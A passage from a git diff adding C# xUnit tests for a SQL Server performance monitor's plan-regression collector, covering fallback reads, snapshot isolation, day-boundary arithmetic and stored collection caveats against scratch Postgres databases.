+    public void TheRunnerTimesTheFetchLoop_AndStampsOnlyThroughTheOneSeam()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs");
+        var body = source[source.IndexOf("private async Task<List<QueryStatsPlanKey>> FetchDeferredQueryStatsPlansAsync", StringComparison.Ordinal)..];
+        body = body[..body.IndexOf("internal static void StampPlanFetch", StringComparison.Ordinal)];
+        Assert.Contains("Stopwatch.StartNew()", body, StringComparison.Ordinal);
+        Assert.Equal(2, Count(body, "StampPlanFetch("));
+        Assert.DoesNotContain("context.Measure(", body, StringComparison.Ordinal);
+    }
+
+    private static int Count(string text, string needle)
+    {
+        var count = 0;
+        for (var at = text.IndexOf(needle, StringComparison.Ordinal); at >= 0; at = text.IndexOf(needle, at + 1, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/PlanForceActionDetailCensusTests.cs b/Darling/Darling.Tests/PlanForceActionDetailCensusTests.cs
index cbe564b72c..4885c0d6c5 100644
--- a/Darling/Darling.Tests/PlanForceActionDetailCensusTests.cs
+++ b/Darling/Darling.Tests/PlanForceActionDetailCensusTests.cs
@@ -25,6 +25,7 @@ namespace Darling.Tests;
 /// in (c) below documents WHY the scrub's own site is allowed to exist, not that it is invisible to the
 /// census.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class PlanForceActionDetailCensusTests
 {
     private const string StoreFileName = "PgPlanForceActionStore.cs";
diff --git a/Darling/Darling.Tests/PlanRegressionBuiltDaysFallbackLiveTests.cs b/Darling/Darling.Tests/PlanRegressionBuiltDaysFallbackLiveTests.cs
new file mode 100644
index 0000000000..82e5b64c05
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionBuiltDaysFallbackLiveTests.cs
@@ -0,0 +1,402 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5448: what the stored caveat says when the built-days read falls back, and what it keeps saying when a server's
+/// PLAN_REGRESSION read times out on every scheduled pass.
+///
+/// <para><b>The fallback.</b> The fact asks for the built days first. If that read fails it runs the exact-bound read, the
+/// shipped one, which is whole: nothing is missing, so no caveat may say so. If the exact read fails too, its own catch
+/// records the failure, once. Driven through the real collector on a scratch store, with the failures made by renaming the
+/// tables and columns the reads name.</para>
+///
+/// <para><b>The timeout stays visible.</b> A scheduled pass's timeout is stored in <c>collect.analysis_collection_caveats</c>
+/// until a clean pass deletes it, and <c>get_collection_health</c> (<c>stored_caveats</c>) reads that table, so a server
+/// whose every run times out stays visible, with its first-seen time kept and its last-seen time advancing.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and then works entirely inside it. */
+public sealed class PlanRegressionBuiltDaysFallbackLiveTests
+{
+    private const int ServerId = -5448301;
+    private const string ServerName = "BuiltDaysFallbackSrv";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task WhenTheBuiltDaysReadFails_AndTheExactReadSucceeds_NoCaveatSaysDataIsMissing()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 fallback caveat test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var (periodStart, periodEnd) = await SeedAndBuildAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* Control: with the built days readable the fact reads the day totals, finds the regression, records nothing. */
+        var control = NewContext(periodStart, periodEnd);
+        var controlFact = (await new PgFactCollector(postgres).CollectFactsAsync(control)).Single(f => f.Key == "PLAN_REGRESSION");
+        Assert.True(control.PlanRegressionReadsIntervalTable);
+        Assert.NotNull(control.PlanRegressionWindowStart);
+        Assert.Empty(PlanRegressionFailures(control));
+
+        /* The built-days read now fails (42P01); the exact-bound read does not touch that table. */
+        await ExecAsync(connection, "ALTER TABLE collect.plan_regression_daily_built RENAME TO plan_regression_daily_built_gone", ct);
+        var fallback = NewContext(periodStart, periodEnd);
+        var fallbackFact = (await new PgFactCollector(postgres).CollectFactsAsync(fallback)).Single(f => f.Key == "PLAN_REGRESSION");
+
+        Assert.True(fallback.PlanRegressionReadsIntervalTable);
+        Assert.Null(fallback.PlanRegressionWindowStart);
+        Assert.Equal(controlFact.Value, fallbackFact.Value);
+        Assert.Equal(controlFact.Metadata["offender_count"], fallbackFact.Metadata["offender_count"]);
+
+        /* No caveat, in any of the three places one would show: the pass's failures, the sentence the tools render, and so
+           the rows the pass hands the caveat store. */
+        Assert.Empty(PlanRegressionFailures(fallback));
+        Assert.DoesNotContain("plan_regression", CollectionCaveats.Describe(fallback.CollectionFailures, fallback.CollectionFamilyCount), StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The built-days read and the daily read share one REPEATABLE READ transaction (#5448). Between them, from another
+    /// connection, the day totals are deleted and committed: the daily read must still see the totals that made those days
+    /// built, so the fact equals the undisturbed one. At READ COMMITTED the second read would see no totals for days the
+    /// first called built, and the regression's cheap plan would vanish from both halves.
+    /// </summary>
+    [Fact]
+    public async Task ADailyTotalsChange_BetweenTheBuiltDaysReadAndTheDailyRead_IsNotSeenByTheDailyRead()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 snapshot test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var (periodStart, periodEnd) = await SeedAndBuildAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var control = NewContext(periodStart, periodEnd);
+        var controlFact = (await new PgFactCollector(postgres).CollectFactsAsync(control)).Single(f => f.Key == "PLAN_REGRESSION");
+        Assert.NotNull(control.PlanRegressionWindowStart);
+
+        var seamRan = false;
+        PgFactCollector.TestOnlyAfterBuiltDaysRead.Value = async token =>
+        {
+            seamRan = true;
+            await using var other = new NpgsqlCommand("DELETE FROM collect.plan_regression_daily WHERE server_id = $1", connection);
+            other.Parameters.AddWithValue(ServerId);
+            await other.ExecuteNonQueryAsync(token);
+        };
+        try
+        {
+            var disturbed = NewContext(periodStart, periodEnd);
+            var disturbedFact = (await new PgFactCollector(postgres).CollectFactsAsync(disturbed)).Single(f => f.Key == "PLAN_REGRESSION");
+
+            Assert.True(seamRan);
+            Assert.NotNull(disturbed.PlanRegressionWindowStart);
+            Assert.Equal(controlFact.Value, disturbedFact.Value);
+            Assert.Equal(controlFact.Metadata["offender_count"], disturbedFact.Metadata["offender_count"]);
+        }
+        finally
+        {
+            PgFactCollector.TestOnlyAfterBuiltDaysRead.Value = null;
+        }
+    }
+
+    /// <summary>
+    /// A late row marks its day (#5448): T-14, the window's first day, is built; a real late insert (the trigger is on) with
+    /// a first execution in it takes that day and the next one out of the built days, so the fact reads them live, and it
+    /// still finds the regression.
+    /// </summary>
+    [Fact]
+    public Task ADayMarkedByALateRow_DropsOutOfTheBuiltDays_AndIsReadLive() => RunLateRowAsync(utcNow: null);
+
+    /// <summary>
+    /// The same assertions at a fixed clock, so the late-row test means the same all day. Before 04:00 UTC the window's start
+    /// (four hours back) is on the previous calendar day, so the window's first day is fifteen days before today; from 04:00
+    /// UTC it is fourteen. The cases straddle that edge (the last minute before 04:00, and 04:00 itself) and a mid-day one.
+    /// </summary>
+    [Theory]
+    [InlineData(0, 30)]
+    [InlineData(3, 59)]
+    [InlineData(4, 0)]
+    [InlineData(12, 0)]
+    public Task ADayMarkedByALateRow_DropsOutOfTheBuiltDays_AndIsReadLive_AtAFixedClock(int hour, int minute) =>
+        RunLateRowAsync(new DateTime(2026, 10, 7, hour, minute, 0, DateTimeKind.Utc));
+
+    private static async Task RunLateRowAsync(DateTime? utcNow)
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 late-row test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var (periodStart, periodEnd) = await SeedAndBuildAsync(connection, ct, utcNow);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var windowFloor = PgFactCollector.PlanRegressionWindowFloor(periodStart.AddDays(-PgFactCollector.PlanRegressionWindowDays));
+        var markedDay = DateOnly.FromDateTime(windowFloor);
+        var before = await BuiltDaysAsync(connection, windowFloor, ct);
+        Assert.Contains(markedDay, before);
+        Assert.Contains(markedDay.AddDays(1), before);
+
+        await InsertIntervalAsync(connection, queryId: 3, planId: 31, "0xLATE", cpuUs: 5000, execs: 10, firstExec: windowFloor.AddHours(10), ct);
+
+        var after = await BuiltDaysAsync(connection, windowFloor, ct);
+        Assert.DoesNotContain(markedDay, after);
+        Assert.DoesNotContain(markedDay.AddDays(1), after);
+        Assert.Equal(before.Count - 2, after.Count);
+
+        var pass = NewContext(periodStart, periodEnd);
+        var fact = (await new PgFactCollector(postgres).CollectFactsAsync(pass)).Single(f => f.Key == "PLAN_REGRESSION");
+        Assert.NotNull(pass.PlanRegressionWindowStart);
+        Assert.Empty(PlanRegressionFailures(pass));
+        Assert.True(fact.Value > 1);
+    }
+
+    private static async Task<List<DateOnly>> BuiltDaysAsync(NpgsqlConnection connection, DateTime windowFloor, CancellationToken ct)
+    {
+        var days = new List<DateOnly>();
+        await using var cmd = new NpgsqlCommand(PlanRegressionDaily.BuiltDaysSql, connection);
+        cmd.Parameters.AddWithValue(ServerId);
+        cmd.Parameters.AddWithValue(NpgsqlDbType.Timestamp, windowFloor);
+        await using var reader = await cmd.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct)) days.Add(reader.GetFieldValue<DateOnly>(0));
+        return days;
+    }
+
+    [Fact]
+    public async Task WhenBothReadsFail_TheExactReadsFailureIsTheOneRecorded_Once()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 fallback caveat test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var (periodStart, periodEnd) = await SeedAndBuildAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* The built-days read fails on a missing table (42P01); the exact read fails on a missing column (42703). Only the
+           second is the fact's failure. */
+        await ExecAsync(connection, "ALTER TABLE collect.plan_regression_daily_built RENAME TO plan_regression_daily_built_gone", ct);
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest RENAME COLUMN avg_duration_us TO avg_duration_us_gone", ct);
+
+        var pass = NewContext(periodStart, periodEnd);
+        await new PgFactCollector(postgres).CollectFactsAsync(pass);
+
+        Assert.True(pass.PlanRegressionReadsIntervalTable);
+        Assert.Null(pass.PlanRegressionOffenders);
+        var failure = Assert.Single(PlanRegressionFailures(pass));
+        Assert.Equal(CollectionFailureOutcome.MissingSchema, failure.Outcome);
+        Assert.Contains("42703", failure.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("42P01", failure.Message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A server whose every scheduled pass times out stays visible: the stored caveat survives each re-sighting with its
+    /// first-seen time kept and its last-seen time advancing, <c>get_collection_health</c>'s <c>stored_caveats</c> reports it as
+    /// <c>plan_regression</c> / <c>timeout</c>, and a clean pass clears it.
+    /// </summary>
+    [Fact]
+    public async Task WhenTheDailyReadThrows_TheWindowStartStaysUnset_ForTheDrillDown()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 fallback caveat test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var (periodStart, periodEnd) = await SeedAndBuildAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* The built days still read (they come from the built and coverage tables), so the fact chooses the daily statement;
+           that statement then fails on the missing totals table (42P01). The edge M is recorded only once a read has
+           succeeded, so the drill-down is not told to start from an edge no fact read from. */
+        await ExecAsync(connection, "ALTER TABLE collect.plan_regression_daily RENAME TO plan_regression_daily_gone", ct);
+
+        var pass = NewContext(periodStart, periodEnd);
+        await new PgFactCollector(postgres).CollectFactsAsync(pass);
+
+        Assert.True(pass.PlanRegressionReadsIntervalTable);
+        Assert.Null(pass.PlanRegressionOffenders);
+        Assert.Null(pass.PlanRegressionWindowStart);
+        var failure = Assert.Single(PlanRegressionFailures(pass));
+        Assert.Contains("42P01", failure.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AServerWhoseEveryScheduledRunTimesOut_KeepsItsStoredCaveat_UntilACleanPassClearsIt()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5448 timeout visibility test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using (var migrate = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await migrate.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(migrate, ct);
+        }
+
+        await using var postgres = NpgsqlDataSource.Create(
+            new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = "collect,config,public" }.ConnectionString);
+
+        var timeout = new NpgsqlException("Exception while reading from stream", new TimeoutException());
+        var first = new DateTime(2026, 10, 7, 3, 0, 0, DateTimeKind.Utc);
+
+        /* Three scheduled passes, every one of which times out reading PLAN_REGRESSION. The recording and the grouping into
+           unread families are the pass's own (PgFactCollector.ReportCollectionFailure, DarlingAnalysisService). */
+        for (var run = 0; run < 3; run++)
+        {
+            var context = NewContext(first, first.AddHours(4));
+            context.RecordCollectionFailure(
+                CollectionFailure.FamilyOf("CollectPlanRegressionFactsAsync"), "CollectPlanRegressionFactsAsync",
+                PgFactCollector.ClassifyOutcome(timeout), timeout);
+            var unread = context.CollectionFailures
+                .GroupBy(f => f.Family, StringComparer.Ordinal)
+                .Select(g => new CollectionCaveatStore.UnreadFamily(g.Key, CollectionFailure.Label(g.Last().Outcome)))
+                .ToArray();
+
+            await CollectionCaveatStore.ApplyPassAsync(postgres, ServerId, unread, first.AddMinutes(run * 15), null, ct);
+        }
+
+        var stored = await DarlingCollectionCaveatReader.ReadAsync(postgres, ServerId, null, ct);
+        var caveat = Assert.Single(stored);
+        Assert.Equal("plan_regression", caveat.Family);
+        Assert.Equal("timeout", caveat.Reason);
+        Assert.Equal(first, caveat.FirstSeenUtc);
+        Assert.Equal(first.AddMinutes(30), caveat.LastSeenUtc);
+
+        /* What get_collection_health returns: its health payload with the stored caveats spliced in. */
+        var health = JsonNode.Parse(DarlingCollectionCaveatReader.AttachToJson("{\"server\":\"s\"}", stored))!.AsObject();
+        var entry = Assert.Single(health[DarlingCollectionCaveatReader.PayloadKey]!.AsArray())!.AsObject();
+        Assert.Equal("plan_regression", (string?)entry["family"]);
+        Assert.Equal("timeout", (string?)entry["reason"]);
+
+        /* A clean pass is the evidence it recovered: the row goes, and the payload carries no stored_caveats key. */
+        await CollectionCaveatStore.ApplyPassAsync(
+            postgres, ServerId, Array.Empty<CollectionCaveatStore.UnreadFamily>(), first.AddMinutes(45), null, ct);
+        var after = await DarlingCollectionCaveatReader.ReadAsync(postgres, ServerId, null, ct);
+        Assert.Empty(after);
+        Assert.Null(JsonNode.Parse(DarlingCollectionCaveatReader.AttachToJson("{\"server\":\"s\"}", after))!.AsObject()[DarlingCollectionCaveatReader.PayloadKey]);
+    }
+
+    private static List<CollectionFailure> PlanRegressionFailures(AnalysisContext context) =>
+        context.CollectionFailures.Where(f => f.Family == "plan_regression").ToList();
+
+    private static AnalysisContext NewContext(DateTime periodStart, DateTime periodEnd) => new()
+    {
+        ServerId = ServerId,
+        ServerName = ServerName,
+        TimeRangeStart = periodStart,
+        TimeRangeEnd = periodEnd,
+        ServerUtcOffset = TimeSpan.Zero,
+    };
+
+    /// <summary>
+    /// One query with two plans, the cheap one seen five days before the pass window and the costly one in it (a 10x CPU
+    /// regression), plus an old steady query so the interval table's floor is below the read's bound, and a coverage claim
+    /// below the window so the fact reads the interval table. Then the window's days are built for the server, so the fact
+    /// can read day totals. The window's first day is <c>(start - 14 days).Date</c> (<c>PgFactCollector.PlanRegressionWindowFloor</c>),
+    /// and <c>start</c> is four hours before <paramref name="utcNow"/>, so from 00:00 to 04:00 UTC it is still yesterday.
+    /// The built range is therefore counted from <c>start.Date</c>, not <c>utcNow.Date</c>: counted from today, the window's
+    /// first day was never built in those hours and the late-row test failed. <paramref name="utcNow"/> is a seam so the
+    /// class can be run at a fixed 00:30 and 12:00 UTC (null means the clock).
+    /// </summary>
+    private static async Task<(DateTime Start, DateTime End)> SeedAndBuildAsync(
+        NpgsqlConnection connection, CancellationToken ct, DateTime? utcNow = null)
+    {
+        var now = DateTime.SpecifyKind(utcNow ?? DateTime.UtcNow, DateTimeKind.Unspecified);
+        var end = new DateTime(now.Ticks - (now.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
+        var start = end.AddHours(-4);
+        var today = now.Date;
+        var windowDay = start.Date;
+
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest DISABLE TRIGGER trg_plan_regression_daily_late", ct);
+        await InsertIntervalAsync(connection, queryId: 1, planId: 11, "0xCHEAP", cpuUs: 20_000, execs: 100, firstExec: start.AddDays(-5).AddHours(-1), ct);
+        await InsertIntervalAsync(connection, queryId: 1, planId: 12, "0xCOSTLY", cpuUs: 200_000, execs: 100, firstExec: end.AddHours(-1), ct);
+        await InsertIntervalAsync(connection, queryId: 2, planId: 21, "0xSTEADY", cpuUs: 2000, execs: 100, firstExec: start.AddDays(-16), ct);
+        await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest ENABLE TRIGGER trg_plan_regression_daily_late", ct);
+
+        await using (var coverage = new NpgsqlCommand(
+            "INSERT INTO collect.query_store_interval_latest_coverage (server_id, filled_since, applied_through) VALUES ($1, $2, $2) "
+            + "ON CONFLICT (server_id) DO UPDATE SET filled_since = EXCLUDED.filled_since", connection))
+        {
+            coverage.Parameters.AddWithValue(ServerId);
+            coverage.Parameters.AddWithValue(NpgsqlDbType.Timestamp, today.AddDays(-40));
+            await coverage.ExecuteNonQueryAsync(ct);
+        }
+
+        for (var d = -PgFactCollector.PlanRegressionWindowDays; d <= -3; d++)
+        {
+            await PlanRegressionDaily.BuildDayAsync(connection, ServerId, DateOnly.FromDateTime(windowDay.AddDays(d)), now, ct);
+        }
+
+        return (start, end);
+    }
+
+    private static async Task InsertIntervalAsync(
+        NpgsqlConnection connection, long queryId, long planId, string planHash, long cpuUs, long execs, DateTime firstExec, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(@"
+INSERT INTO collect.query_store_interval_latest
+(
+    server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time,
+    collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us,
+    last_execution_time, is_forced_plan, force_failure_count
+)
+VALUES ($1, 'fallbackdb', $2, $3, NULL, $3, $4, $5, $6, $7, $8, $9, $10, $11, false, 0)", connection);
+        cmd.Parameters.AddWithValue(ServerId);
+        cmd.Parameters.AddWithValue(queryId);
+        cmd.Parameters.AddWithValue(planId);
+        cmd.Parameters.AddWithValue(NpgsqlDbType.Timestamp, firstExec);
+        cmd.Parameters.AddWithValue(NpgsqlDbType.Timestamp, firstExec.AddMinutes(35));
+        cmd.Parameters.AddWithValue(planHash);
+        cmd.Parameters.AddWithValue("qh" + queryId);
+        cmd.Parameters.AddWithValue(execs);
+        cmd.Parameters.AddWithValue(cpuUs);
+        cmd.Parameters.AddWithValue(cpuUs * 3);
+        cmd.Parameters.AddWithValue(NpgsqlDbType.Timestamp, firstExec.AddMinutes(30));
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDailyBoundaryTests.cs b/Darling/Darling.Tests/PlanRegressionDailyBoundaryTests.cs
new file mode 100644
index 0000000000..939d160207
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDailyBoundaryTests.cs
@@ -0,0 +1,116 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Analysis;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The day arithmetic of the PLAN_REGRESSION daily read (#5448), with no store: M, the day-aligned window start, and the
+/// live floor that bounds the interval-table half of the read.
+/// </summary>
+public sealed class PlanRegressionDailyBoundaryTests
+{
+    private static DateOnly D(int day) => new(2026, 9, day);
+
+    private static DateTime At(int day, int hour = 0, int minute = 0) => new(2026, 9, day, hour, minute, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public void TheWindowFloor_IsTheStartOfTheDayTheExactEdgeFallsIn()
+    {
+        Assert.Equal(At(10), PgFactCollector.PlanRegressionWindowFloor(At(10)));
+        Assert.Equal(At(10), PgFactCollector.PlanRegressionWindowFloor(At(10, 17, 45)));
+        /* One tick before midnight is still the same day; midnight is the next. */
+        Assert.Equal(At(10), PgFactCollector.PlanRegressionWindowFloor(At(11).AddTicks(-1)));
+        Assert.Equal(At(11), PgFactCollector.PlanRegressionWindowFloor(At(11)));
+        Assert.Equal(DateTimeKind.Unspecified, PgFactCollector.PlanRegressionWindowFloor(DateTime.SpecifyKind(At(10, 5), DateTimeKind.Utc)).Kind);
+    }
+
+    [Fact]
+    public void TheLiveFloor_IsADayBelowTheFirstUnbuiltDay()
+    {
+        var floor = At(1);
+
+        /* Nothing built: the first day itself is unbuilt, so the floor is the day before the window. */
+        Assert.Equal(At(1).AddDays(-1), PgFactCollector.PlanRegressionLiveFloor(floor, []));
+
+        /* A contiguous run from the start: the floor follows its end (day 5 is the first unbuilt, so day 4's start). */
+        Assert.Equal(At(4), PgFactCollector.PlanRegressionLiveFloor(floor, [D(1), D(2), D(3), D(4)]));
+    }
+
+    [Fact]
+    public void TheLiveFloor_StopsAtTheFirstGap_EvenWithLaterDaysBuilt()
+    {
+        /* Days 1-2 and 4-9 built, 3 missing: every unbuilt row from day 3 on must be reachable, and a row of day 3 may
+           have begun a day earlier, so the floor is day 2's start. */
+        var built = new[] { D(1), D(2), D(4), D(5), D(6), D(7), D(8), D(9) };
+        Assert.Equal(At(2), PgFactCollector.PlanRegressionLiveFloor(At(1), built));
+
+        /* A gap at the very start, though later days are built. */
+        Assert.Equal(At(1).AddDays(-1), PgFactCollector.PlanRegressionLiveFloor(At(1), [D(2), D(3)]));
+    }
+
+    [Fact]
+    public void TheLiveFloor_IgnoresBuiltDaysBelowTheWindow_AndDuplicates()
+    {
+        /* Window from day 5; days 5 and 6 built, 7 is the first unbuilt, so the floor is day 6's start. */
+        Assert.Equal(At(6), PgFactCollector.PlanRegressionLiveFloor(At(5), [D(1), D(2), D(5), D(5), D(6)]));
+    }
+
+    [Fact]
+    public void AStraddlingInterval_IsAdmittedByTheLiveFloor()
+    {
+        /* An interval that opens 23:40 on day 3 and closes 00:35 on day 4 belongs to day 4 (its last execution). With days
+           1-3 built and day 4 live, the live floor is day 3's start, so first_execution_time >= floor admits it. */
+        var floor = PgFactCollector.PlanRegressionLiveFloor(At(1), [D(1), D(2), D(3)]);
+        Assert.Equal(At(3), floor);
+        Assert.True(At(3, 23, 40) >= floor);
+
+        /* An interval ending exactly at midnight belongs to the new day; one ending a tick before to the old one. */
+        Assert.Equal(D(4), DateOnly.FromDateTime(At(4)));
+        Assert.Equal(D(3), DateOnly.FromDateTime(At(4).AddTicks(-1)));
+    }
+
+    [Fact]
+    public void TheDailyRead_IsInTheCensus_AndSharesTheSuffixWithTheTableRead()
+    {
+        Assert.Contains(PgFactCollector.PlanRegressionDailySql, PgFactCollector.AllSql);
+        var marker = "plan_dedup AS";
+        var tail = PgFactCollector.PlanRegressionTableSql[PgFactCollector.PlanRegressionTableSql.IndexOf(marker, StringComparison.Ordinal)..];
+        Assert.EndsWith(tail, PgFactCollector.PlanRegressionDailySql, StringComparison.Ordinal);
+    }
+
+    /// <summary>The fact runs the built-days read and the daily read in one REPEATABLE READ READ ONLY transaction (#5448),
+    /// and the daily read's live floor is a bound parameter the planner can see, not a sub-select of the statement.</summary>
+    [Fact]
+    public void TheFact_RunsBothReadsInOneRepeatableReadReadOnlyTransaction_WithTheLiveFloorBound()
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir is not null && !System.IO.File.Exists(System.IO.Path.Combine(dir, "Darling", "PerformanceMonitor.Darling.Analysis", "PgFactCollector.QueryPerf.cs")))
+        {
+            dir = System.IO.Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        var source = System.IO.File.ReadAllText(System.IO.Path.Combine(dir!, "Darling", "PerformanceMonitor.Darling.Analysis", "PgFactCollector.QueryPerf.cs"));
+        var start = source.IndexOf("private async Task CollectPlanRegressionFactsAsync(", StringComparison.Ordinal);
+        var fact = source[start..source.IndexOf("public const string ProcedureStatsSql", start, StringComparison.Ordinal)];
+
+        Assert.Contains("BeginTransactionAsync(System.Data.IsolationLevel.RepeatableRead", fact, StringComparison.Ordinal);
+        Assert.Contains("SET TRANSACTION READ ONLY", fact, StringComparison.Ordinal);
+        Assert.Contains("connection, snapshot, context.ServerId, windowFloor", fact, StringComparison.Ordinal);
+        Assert.Contains("readsDays ? PlanRegressionDailySql : readsTable ? PlanRegressionTableSql : PlanRegressionSql, connection, snapshot)", fact, StringComparison.Ordinal);
+
+        var sql = PgFactCollector.PlanRegressionDailySql;
+        Assert.Contains("l.first_execution_time >= $4::timestamp", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("live_floor", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("built_days", sql, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/PlanRegressionDailyBuilderLiveTests.cs b/Darling/Darling.Tests/PlanRegressionDailyBuilderLiveTests.cs
new file mode 100644
index 0000000000..357f7f52bd
--- /dev/null
+++ b/Darling/Darling.Tests/PlanRegressionDailyBuilderLiveTests.cs
@@ -0,0 +1,587 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the builder of the per-day per-plan totals PLAN_REGRESSION reads for closed days (#5448),
+/// <see cref="PlanRegressionDaily"/>'s hourly-tick tenant: what a built day holds (a hand aggregate), that an empty day is
+/// still built (<c>source_rows</c> 0), that a build racing a late apply ends invalid and is rebuilt, that a second builder
+/// skips, which servers and days are planned, the garbage collection, and where the tenant sits in the tick. Most seeds sit
+/// at a fixed past date with the late-row trigger disabled and <c>nowUtc</c> passed explicitly, so no fact reads the clock;
